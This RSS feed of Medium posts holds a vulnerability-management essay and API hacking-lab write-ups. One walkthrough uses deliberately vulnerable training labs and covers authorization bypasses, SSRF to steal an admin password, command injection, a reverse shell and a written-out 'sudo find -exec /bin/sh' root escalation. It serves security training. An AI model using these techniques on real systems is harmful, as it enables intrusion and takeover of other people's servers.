<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by cybern1nja8 on Medium]]></title>
        <description><![CDATA[Stories by cybern1nja8 on Medium]]></description>
        <link>https://medium.com/@cybern1nja8?source=rss-e0a2e2ab6ed8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*RmNdzNxLOx0EbAWf</url>
            <title>Stories by cybern1nja8 on Medium</title>
            <link>https://medium.com/@cybern1nja8?source=rss-e0a2e2ab6ed8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 05:43:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cybern1nja8/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[“Unpatched known vulnerabilities are the open invitations for the attackers!”☠️]]></title>
            <link>https://cybern1nja8.medium.com/unpatched-known-vulnerabilities-are-the-open-invitations-for-the-attackers-%EF%B8%8F-4dcb8c3c5e60?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/4dcb8c3c5e60</guid>
            <category><![CDATA[vulnerability-remediation]]></category>
            <category><![CDATA[vulnerability-mitigation]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Thu, 14 May 2026 16:40:13 GMT</pubDate>
            <atom:updated>2026-05-14T16:40:13.552Z</atom:updated>
            <content:encoded><![CDATA[<p><em>In many organizations, vulnerability management still means </em><strong><em>running scheduled</em></strong><em> </em><strong><em>scans</em></strong><em>, </em><strong><em>generating CVE reports</em></strong><em>, and </em><strong><em>emailing IT teams</em></strong><em> for fixes. It’s a start but it’s far from sufficient in today’s fast-changing environments.</em></p><p>Vulnerability management has evolved. It’s no longer just <strong>scanning and patching</strong>. It’s about:</p><p>· Visibility into dynamic IT environments.</p><p>· Contextual risk-based prioritization.</p><p>· Awareness and Communication across teams.</p><p>· Mapping technical flaws to real business impact.</p><p>· And above all, learning from industry failures.</p><p>Let’s dive into why vulnerability management needs to be reimagined — and how mature organizations are doing it right.</p><p><strong>Why Vulnerability Management Still Fails</strong></p><p>Despite billions spent on cybersecurity tools, many breaches happen through known even old — vulnerabilities.</p><p><strong>Industry stats say it all:</strong></p><p>· Over 60% of exploited CVEs are known and unpatched for more than 6 months.</p><p>· Many systems aren’t even being scanned due to credential or asset discovery issues.</p><p>· A significant number of attacks targeted medium or low CVSS vulnerabilities — not the flashy ones.</p><p>In short: <strong>We know what to fix. We just don’t do it in time.</strong></p><p>Why? Because vulnerability management is still stuck in a broken cycle:</p><p><strong>Scan → Report → Email IT → Repeat.</strong></p><p><strong>Healthcare Ransomware: The WannaCry That Came Back</strong></p><p>In 2022, a European hospital network was hit by ransomware that exploited old SMB vulnerabilities.</p><p>· Security tools flagged the risks.</p><p>· But patching was deferred — the devices Ire legacy medical systems.</p><p>· Scanners Aren’t deployed in sensitive internal networks.</p><p>· No compensating controls Ire in place.</p><p>Systems were offline for weeks. Surgeries were postponed.</p><h3><strong>Takeaway:</strong> If you can’t patch it, you must segment, isolate, or monitor it. Doing nothing is not an option!</h3><p><strong>Challenges Faced by Security Teams</strong></p><p>Let’s be honest. Even good programs struggle with:</p><p><strong>1. Alert Overload</strong></p><p>Thousands of findings. No time to triage them all.</p><p><strong>2. IT Resistance</strong></p><p>Patching breaks things. Operations push back. Security becomes “the blocker.”</p><p><strong>3. Lack of Accountability</strong></p><p>Security finds the problem. IT owns the fix. No one owns the outcome.</p><p><strong>4. Inventory Drift</strong></p><p>Cloud instances and containers spin up/down quickly. Keeping up is hard.</p><p><strong>5. Poor Communication</strong></p><p>Dashboards full of CVEs don’t help business leaders understand risk.</p><p><strong>Vulnerability Management: A Modern Framework</strong></p><p>It’s not just patching. It’s a 5️⃣ <strong>five-stage lifecycle</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*0QeiJ5NlhuL1BhWgMKXJMQ.png" /></figure><p>1. <strong>Asset Discovery &amp; Inventory Reconciliation</strong><br> Know what you have — in real time.</p><p>2. <strong>Vulnerability Detection</strong><br> Use the right scan types, on the right assets, with the right credentials.</p><p>3. <strong>Risk-Based Prioritization</strong><br> Decide what truly matters — based on likelihood of exploit and business impact.</p><p>4. <strong>Remediation or Mitigation</strong><br> Patch when you can. Mitigate or isolate when you can’t.</p><p>5. <strong>Validation &amp; Reporting</strong><br> Confirm fixes. Track metrics. Speak in the language of risk.</p><ol><li><strong>Discovery: You Can’t Fix What You Can’t See</strong></li></ol><p>Cloud workloads. Developer laptops. Shadow IT. Containers that live for 30 minutes.</p><p>Without full asset visibility, your vulnerability scans are <strong>incomplete</strong> — and so is your <strong>security posture!</strong></p><p><strong>Best practices include:</strong></p><p>· <strong>Agent-based inventory</strong> for remote endpoints.</p><p>· <strong>Cloud-native integrations</strong> (AWS, Azure, GCP).</p><p>· <strong>Regular reconciliation</strong> with CMDBs and deployment pipelines.</p><p>· <strong>Passive network detection</strong> for unmanaged devices.</p><p><strong>2.</strong> <strong>Vulnerability Detection: Know Your Scan Types</strong></p><p><strong>Non-Authenticated Scans</strong></p><p>· Scan from the outside, like an attacker.</p><p>· See what ports/services are exposed.</p><p>· Limited to surface-level banners and version guessing.</p><p><strong>Use cases:</strong> External perimeter, quick scan.</p><p><strong>Limitations:</strong> No deep config insight. Miss internal misconfigurations or outdated s/w, libraries.</p><p><strong>Authenticated Scans</strong></p><p>· Use credentials to log in and read installed packages, registry values, system configs.</p><p>· High-fidelity results.</p><p><strong>Challenges:</strong> Credential rotation, network firewalls, agentless failures.</p><p><strong>Agent-Based Scanning</strong></p><p>· Lightweight agents on endpoints.</p><p>· Persistently collect data — even when offline or off-network.</p><p><strong>Challenges:</strong> Deployment overhead, performance concerns, agent compatibility.</p><p>Modern orgs use a <strong>blend of all three</strong> — external scans for attack surface, authenticated for depth, agents for coverage.</p><p><strong>3.</strong> <strong>Risk-Based Prioritization: Not Every CVE Is Urgent</strong></p><p>Sorting by CVSS score? You’re doing it wrong.</p><p>CVSS gives a base severity. But it doesn’t know:</p><p>· Whether that vulnerability has an exploit in the wild.</p><p>· Whether the system is internet-facing.</p><p>· Whether the data it holds is sensitive.</p><p>That’s where <strong>modern prioritization models</strong> shine:</p><p>· <strong>EPSS (Exploit Prediction Scoring System):</strong> Predicts real-world exploit likelihood.</p><p>· <strong>Tenable VPR:</strong> Combines threat intel, exploit availability, and asset value.</p><p>· <strong>Qualys TruRisk:</strong> Adds business context, exposure path, asset criticality.</p><p>· <strong>Rapid7 Real Risk Score:</strong> Based on attacker behaviour patterns.</p><p><strong>Smart programs patch based on likelihood × impact. Not CVSS.</strong></p><p><strong>Real Example: What Should You Patch First?</strong></p><p>Press enter or click to view image in full size</p><p>Patch priority? The second one. Every time.</p><p><strong>4.</strong> <strong>Remediation: Patching Isn’t Always Possible</strong></p><p>What if the system is legacy? Or vendor-controlled? Or critical to uptime?</p><p>Alternative strategies:</p><p>· Firewall segmentation</p><p>· Isolation in low-trust zones</p><p>· EDR/XDR monitoring for exploit behaviour</p><p>· Rate-limiting or API key restrictions</p><p>· Documenting risk acceptance (with business sign-off)</p><p>In hospitals, outdated systems are often isolated rather than patched. It’s not perfect, but it’s pragmatic.</p><p><strong>5.</strong> <strong>Reporting and Monitoring That Makes Sense</strong></p><p>Security metrics need to be understandable by people who don’t speak CVE.</p><p><strong>Effective reporting includes:</strong></p><p>· Trends over time (not just point-in-time).</p><p>· Mean Time to Remediate (MTTR).</p><p>· Top 10 risky assets.</p><p>· Business unit risk breakdown.</p><p>· Mapping vulnerabilities to MITRE ATT&amp;CK or compliance controls.</p><p><em>“We have 4,200 high vulnerabilities”</em> means nothing.</p><p>“<em>We have 3 systems exposing PII due to outdated software”</em> gets attention.</p><p><strong>Exposure Path Modelling and Chained Vulnerability Impact</strong></p><p>Modern attackers don’t rely on a single misconfiguration — they chain multiple low-severity issues across environments to gain meaningful access. That’s why advanced vulnerability management programs are now incorporating <strong>exposure path modelling</strong>, which analyses how seemingly minor vulnerabilities can combine to breach trust zones. For example, an outdated service with weak cipher suite (CVSS 5.3) in a staging subnet might be reachable via an internal jump server that lacks MFA — together forming a pivot path to production. Platforms like Tenable and Qualys now provide <strong>attack path visualization</strong>, allowing defenders to prioritize not just critical and high-risk assets, but also low-risk nodes that act as enablers.</p><p><strong>Checklist</strong></p><blockquote><strong>✅Audit your visibility</strong><br> Ensure every asset — on-prem, cloud, remote — is accounted for. No scanning strategy works without complete inventory.</blockquote><blockquote><strong>✅Review your scan coverage</strong><br> Are you using all three: authenticated, agent-based, and external scans? Each adds a layer of visibility.</blockquote><blockquote><strong>✅Adopt risk-based prioritization</strong><br> Incorporate real-world threat intelligence (like EPSS, VPR, TruRisk) to focus on what’s exploitable and impactful — not just what’s high CVSS.</blockquote><blockquote><strong>✅Foster collaboration between Security and IT</strong><br> Establish shared KPIs, remediation SLAs, and automated workflows. Make vulnerability management a joint effort, not a blame game.</blockquote><blockquote><strong>✅Translate technical risk into business language</strong><br> Use dashboards that show impact to data, operations, or compliance — not just CVE counts.</blockquote><blockquote><strong>✅Build a feedback loop</strong><br> Measure what’s working. Track MTTR, patch success rates, and aging vulnerabilities. Adapt as your environment evolves.</blockquote><p><strong>✨Final Thoughts</strong></p><p>Vulnerability management is <strong>no longer just a scanner and a patch plan.</strong></p><p>It’s a <strong>continuous process </strong>that requires:</p><p>· <strong>Visibility into every system.</strong></p><p>· <strong>Context around every vulnerability.</strong></p><p>· <strong>Coordination across every team.</strong></p><p>· <strong>Clear communication to every stakeholder.</strong></p><p>The goal isn’t to fix everything.<br>It’s to fix <strong>what truly matters — </strong>before attackers do.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4dcb8c3c5e60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking — Damn-Vulnerable-RESTaurant-API-Game | API hacking Practice lab]]></title>
            <link>https://cybern1nja8.medium.com/damn-vulnerable-restaurant-api-game-afd7c5617ddd?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/afd7c5617ddd</guid>
            <category><![CDATA[owasp-api-security-top-10]]></category>
            <category><![CDATA[apihacking]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[broken-authorization]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Sun, 21 Sep 2025 15:20:40 GMT</pubDate>
            <atom:updated>2025-09-22T08:25:26.240Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Damn Vulnerable Restaurant is an intentionally vulnerable Web API game for learning and training purposes dedicated to developers, ethical hackers and security engineers covering most critical categories of OWASP TOP 10 for API.</blockquote><p>September 20, 2025</p><p>Thanks to <a href="https://medium.com/u/2a1327076878">Krzysztof Pranczk</a> for building this awesome vulnerable api for practicing #ApiHacking Skills.</p><p><strong>GitHub </strong>— <a href="https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game">https://github.com/GangGreenTemperTatum/Damn-Vulnerable-RESTaurant-API-Game</a></p><ul><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#lab-setup">Lab Setup</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#tool-setup">Tool setup</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-0--information-disclosure">Level 0 — Information disclosure</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-1--unrestricted-menu-item-deletion-or-bfla">Level 1 — Unrestricted Menu Item Deletion or (BFLA)</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-2--bola-broken-object-level-authorization">Level 2 — BOLA (Broken Object Level Authorization)</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-3---privilege-escalation-via-boplabroken-object-property-level-authorization">Level 3 — Privilege Escalation (via “BOPLA”/Broken Object Property Level Authorization)</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-4---server-side-request-forgery">Level 4 — Server Side Request Forgery</a></li><li><a href="https://cybern1nja9.github.io/blogs/writeups/others/damn-vulnerable-restaurant/#level-5--rce">Level 5 — RCE</a></li></ul><p>Note — I’ve only looked at the attacking portion; I haven’t talked about patching the vulnerabilities, but you can explore fixing the vulnerabilities.</p><h3>Lab Setup</h3><ol><li>Install <a href="https://www.docker.com/get-started/">Docker</a> and <a href="https://docs.docker.com/compose/install/">Docker Compose V2</a>.</li><li>For Windows, (make sure we’ve installed “git” for windows) Open CMD or PowerShell as administrator</li></ol><pre>git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git<br>cd Damn-Vulnerable-RESTaurant-API-Game<br>docker compose up -d</pre><ol><li>For Linux</li></ol><pre>git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git<br>cd Damn-Vulnerable-RESTaurant-API-Game<br>./start_app.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nmWe3Rh1AoSblL3r.png" /></figure><p>4. Now, visit <a href="http://127.0.0.1:8091/docs">http://127.0.0.1:8091/docs</a> or http://&lt;your_ip&gt;:8091/docs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6Seo33ZoOKJiuHab.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yfrkk3c95Us6GsgH.png" /></figure><p><strong>Setup Done!</strong></p><h3>Tool setup</h3><p><strong>Option 1:</strong> You can send request via the OpenAPI (Swagger) found at <a href="http://127.0.0.1:8091/docs">http://127.0.0.1:8091/docs</a> to Burp Suite via proxy</p><p><strong>Option 2:</strong> But, I’ll use a Burp extension called <a href="https://github.com/nerdygenii/postman-burp-importer">https://github.com/nerdygenii/postman-burp-importer</a> as I wanted to try this tool out for my workflow.</p><p>How to set up…</p><ol><li>Download the latest JAR from <a href="https://github.com/nerdygenii/postman-burp-importer/releases/latest">Releases</a></li><li>In Burp Suite: Extensions → Add → Select the JAR file</li><li>The “Postman Importer” tab will appear</li><li>Getting the Postman Collection for the “postman-burp-importer” ext (since, we’ve <strong>OpenAPI Specification</strong> formerly Swagger .JSON file and <strong>not</strong> the Postman collection which is required for the extension)</li></ol><p>Download the API doc from <a href="http://127.0.0.1:8091/openapi.json">http://127.0.0.1:8091/openapi.json</a> » Open Postman » Import » Files »Select openapi.json » Open API 3.1 with a Post collection » Import</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2FSxE-3qHCpyqKoy.png" /></figure><p>Next, export the post collection…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*4ZbxbghjnN-GaPN2.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/155/0*F19FNXTKywVnqBcy.png" /></figure><p>5. Open <strong>Burp Suite</strong> » go to <strong>Extension</strong> » <strong>Postman Importer</strong> » <strong>Browse</strong> » <strong>select</strong> &lt;<strong>your_exported-postman_collection.json</strong>&gt; » <strong>Import Collection.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3HWtiPlgEumlLN8m.png" /></figure><p>All the API requests will get imported in the requester tabs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rgEWNrkDJjKUEtw5.png" /></figure><p>Now, It’s time for some API Hacking!</p><h3>Level 0 — Information disclosure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/0*WUTJ8RekX0_NjgpP.png" /></figure><p>Send a <strong>GET</strong> request to <strong>/healthcheck</strong></p><p>You will find the info disclosure in response — “<strong>x-powered-by: Python 3.10, FastAPI ^0.103.0</strong>”, which will be useful to plan and carry out further attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uBurX2oPFnEC-VXu.png" /></figure><h3>Level 1 — Unrestricted Menu Item Deletion or (BFLA)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/0*db2ido4uFrS2Gh2a.png" /></figure><p><strong>Attack -</strong></p><p>Get the Auth Token for our attacker’s account (<strong>userA</strong>) via POST /token endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AntvodxDQ4fDf1pn.png" /></figure><p>Verifying it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oYDystdnXjXvYvNs.png" /></figure><p>Send a request to GET /menu (to view list of menus).</p><p>We’ll try to <strong>delete</strong> ID: 17</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PHiSCiPiHaAjpvzQ.png" /></figure><p>Now, send a DELETE request to /menu/{id}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BV4RNReny5_cViJf.png" /></figure><p>Checking, if the id: 17 got successfully deleted!? Yes, it is -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6IHOLUavwj8ePwAo.png" /></figure><p><em>It’s a BFLA finding, since we as an attacker has the </em><strong><em>role: Customer</em></strong><em> (low privileged account) and we were able to perform </em><strong><em>unauthorized</em></strong><em> + </em><strong><em>high-level privileged function.</em></strong></p><h3>Level 2 — BOLA (Broken Object Level Authorization)</h3><p>We’ll perform “A-B” testing…so create two accounts.</p><p>One will act as an attacker’s account and the other one will be the victim’s account.</p><p><strong>Attacker </strong>— UserA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*6P7vy_s9nRNNRzXA.png" /></figure><p><strong>Victim </strong>— UserB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/0*FNlBbud26FTv9KsD.png" /></figure><p>The PUT /profile allows user to edit their profile information</p><p>Profile info updated for userA-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*swNLVGNFnVGILdZt.png" /></figure><p>*<strong>Attack </strong>—</p><p>Now, let’s change the profile info of userB.</p><p>This can be achieved by changing the username value to userB (victims account) but using the auth token of userA (attacker)</p><p>Original request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZxjBAGh2Vn8KAx8d.png" /></figure><p>Tampered request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QgYOiep1SxSls4fl.png" /></figure><p>Profile info updated for userB by userA!!</p><p><strong>To summarize this BOLA vulnerability -</strong></p><ul><li>We are authenticated as <strong>userA</strong>.</li><li>The API endpoint /profile is properly secured, meaning only authenticated users can access it. This prevents a “Broken Authentication” vulnerability, since unauthenticated users cannot access the function.</li><li>However, the authorization check is flawed. Instead of verifying that the username in the request body matches the username associated with the authorization token, the API simply trusts the value provided in the request body.</li><li>By changing the username from <strong>userA</strong> to <strong>userB</strong>, we were successfully able to modify an object (<strong>userB’s profile</strong>) that we are not authorized to interact with.</li></ul><p>We can also send the PUT /profile request to Intruder targeting “username” parameter for enumerating and attacking other user account using common username wordlist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9SctqpVT1UP8tjgW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IbUAa1oxAJDJHaYj.png" /></figure><p>We see that we found one valid existing user called “<strong>chef</strong>”, which seems interesting (as it might have some elevated privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Cfsm6paRwoHxrlrx.png" /></figure><h3>Level 3 — Privilege Escalation (via “BOPLA”/Broken Object Property Level Authorization)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*H5k8OxBx7bkvpSUx.png" /></figure><p>The API endpoint PATCH /profile allows user to update their profile info.</p><p>As per API doc — The request does not contain “role” value. We can try to add the “role” property in the request and see if we can see a successful response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/0*wKA8xUarxmTluUzk.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HCOTCfVSaVGw4Mla.png" /></figure><p>Tampered Request -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*THYp0IlLDMnmnXhX.png" /></figure><p>We see that our role got changed to “Chef” as we included unintended property “<strong>role</strong>” in our request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yMrHsvNvwe4OKonv.png" /></figure><h3>Level 4 — Server Side Request Forgery</h3><p>In the API endpoint PUT /menu, you’ll see an object “image_URL”. So, let’s test this object by inserting an external URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*seElgGP5OJUirobJ.png" /></figure><p>I injected a custom created URL from webhook.site, let’s see what happens!?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4gRJtslzo5cbCuTl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/0*CSP1tN0QKDXUTogQ.png" /></figure><p>Upon sending the request, we get a base64 encoded response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I_bYOS6d18NkEod-.png" /></figure><p>After base64 decoding, we get our content that we created. This means the api is fetching the content from the URL and displays it in base64 encoded format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/0*1xhQvlMOzhKTR9nj.png" /></figure><p>This means that SSRF might be possible on this endpoint. Now, let exploit it further to make it impactful…</p><p>After, reviewing the code under — “<strong>/Damn-Vulnerable-Restaurant-API-Game/app/apis/admin/services</strong>” — it was found that there were two API routes — one of which was -</p><ul><li><strong>reset_chef_password_service.py</strong> — (responsible for generating and updating a new passwd for “admin” aka “chef”)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i1qlpG9HckXvt6aI.png" /></figure><p>After, replacing the previous URL with an internal URL i.e., <a href="http://localhost:8091/admin/reset-chef-password"><strong>http://localhost:8091/admin/reset-chef-password</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3mrlbY2ARuMwPUQY.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/0*ZYTlvKOlprq12-Tc.png" /></figure><p>That’s how, we got the admin’s password. Now, we’ll authenticate with admin cred to get the access token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lTqWh_1V_3KdC1Mo.png" /></figure><p>Verifying it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3xFStDapTZHRwy1q.png" /></figure><h3>Level 5 — RCE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/0*Y1HqKH1xgngkE54W.png" /></figure><p>Only user with role “Chef” is authorized to send the request to the endpoint <strong>GET /admin/stats/disk?parameters=</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OwTjJjHMRKgafPbY.png" /></figure><p>Hence, we will use the admin’s token that we have with us…(got from previous level — SSRF)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WneC_WnfZVZ3zn3w.png" /></figure><p>The above output looks like from the Linux command <strong>df</strong></p><p><strong>Attack </strong>— Let’s see if we can perform command injection -</p><p>I tested out the following → <strong>; whoami</strong> (<em>url-encoded</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*a3e7E3rZAXVhocye.png" /></figure><p>In the output, we see the <strong>whoami</strong> command got executed successfully.</p><p>Now, let’s try to get a reverse shell…</p><p>In order to inject right set of payload — We already have a useful piece of information that the backend language being used is <strong>Python3</strong> as shown in the below highlight screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7OycJMF7eC0JYaf5.png" /></figure><p>So, we will get the payload from <a href="https://www.revshells.com/">https://www.revshells.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4oXGFv-34I9-iTyW.png" /></figure><p>and will inject the payload as the value of “**parameter=; “</p><p>This request will look something like this…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/0*r_0e7pFcS-iWZAqG.png" /></figure><p>Turning the net cat listener <strong>ON</strong>…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/0*Hg0IArN9umgIETF5.png" /></figure><p>Now, send the request!</p><p>We successfully got the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AM4La6ePdIukPU8D.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*PFLH7ifyOoPnWwsO.png" /></figure><p>Now, let’s try to get the root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*upkB0rKLgo2E3AZ3.png" /></figure><p>The user app can run the /usr/bin/find command as root (or any user) without providing a password.</p><p>This means find can execute arbitrary commands using the -exec option, an attacker, or user could escalate privileges to root by running a command like:</p><pre>sudo find / -exec /bin/sh \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/0*T_tTJtn60wC5GnnD.png" /></figure><p>Voilà! We got root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/138/0*WlRILirm48sx_E0O.png" /></figure><p><strong>Note </strong>— I havn’t covered the fixing the vulnerabilites part and have only covered the attacking part.</p><p>Thank you for reading😄<br>धन्यवाद पढ़ने के लिए!<br>अनुगृहीतोऽस्मि पठितवान्<br>感谢您的阅读<br>¡Gracias por leer!<br>Danke fürs Lesen!<br>読んでくれてありがとうございます!<br>شكراً على القراءة<br>Благодарю за чтение!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afd7c5617ddd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Generic University | API hacking Practice lab⚒️]]></title>
            <link>https://cybern1nja8.medium.com/generic-university-api-hacking-praactice-%EF%B8%8F-9e05d74449cf?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e05d74449cf</guid>
            <category><![CDATA[owasp-api-security-top-10]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[hacking-lab]]></category>
            <category><![CDATA[apihacking]]></category>
            <category><![CDATA[api-penetration-testing]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 15:18:33 GMT</pubDate>
            <atom:updated>2025-08-03T15:19:09.114Z</atom:updated>
            <content:encoded><![CDATA[<p>Thanks to <a href="https://medium.com/u/cebabe10eb46">Katie Paxton-Fear</a> for creating this vulnerable API for practicing.</p><p>Also, Thanks to <a href="https://medium.com/u/d562bca4d3cd">Nishith K</a> | <a href="http://twitter.com/busk3r">@busk3r</a>, for creating a docker setup of Generic University.</p><p><strong>#LabSetup</strong></p><p><strong>Docker (Windows)</strong></p><p>1. Simply <a href="https://www.docker.com/">install Docker</a></p><p>2. Make sure your docker desktop is running via administrator user.</p><p>3. Run “<strong>cmd</strong>” as administrator and execute below commands</p><p>$ docker pull busk3r/genericuniversity:latest</p><p>$ docker run --name genericuniversity -itd --rm -p 80:8000 busk3r/genericuniversity &amp;&amp; docker exec genericuniversity service mysql start &amp;&amp; docker exec genericuniversity mysql -u root -p -e &quot;ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;password&#39;;&quot;</p><p>$ docker exec genericuniversity php /root/Generic-University/artisan serve --host 0.0.0.0</p><ul><li>Now, Visit <a href="http://localhost/login">http://localhost/login</a> or system IP you’re using on your browser.</li></ul><p><strong>Lab Setup </strong>— Done!</p><p><strong><em>Github:</em></strong><em> </em><a href="https://github.com/InsiderPhD/Generic-University"><em>https://github.com/InsiderPhD/Generic-University</em></a></p><p><strong><em>Docker hub</em></strong><em>: </em><a href="https://hub.docker.com/r/busk3r/genericuniversity"><em>https://hub.docker.com/r/busk3r/genericuniversity</em></a></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Now, it’s time for some #<strong>API Hacking</strong>..</p><p>This is not a CTF, the bugs are quite clear and not hidden.</p><ul><li><strong>Your Goals</strong></li></ul><p>1. Find the emails of the administrator</p><p>2. Brute force the API to find new endpoints</p><p>3. Find out what grades everyone got in a class</p><p>4. Edit someone’s grade</p><p>5. Make an account</p><p>6. Access the GraphQL API</p><p>7. Change another account’s password</p><p>8. Login to your account</p><p>9. Access admin API</p><p>10. Find out what vulnerabilities the IT admins have ignored</p><p>11. Make your account an admin</p><p>12. Access the admin control panel</p><p>13. Fire a blind XSS in the admin control panel and validate with your new admin account</p><p>14. Delete everything</p><p>15. Restore everything</p><p>Power up your <strong>BurpSuite </strong>-</p><p><strong><em>USE THE APP LIKE A NORMAL USER CHECK/ACCESS/TRY EVERY PATH AND FUNCTIONS POSSIBLE.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*DpuHH4tuuWdxH4aQmY6RlQ.png" /></figure><p><strong>1. Find Administrator Email</strong></p><p>On the homepage, it’s clear the app’s IT admin is <strong>Hellen Yundt</strong>.</p><figure><img alt="" 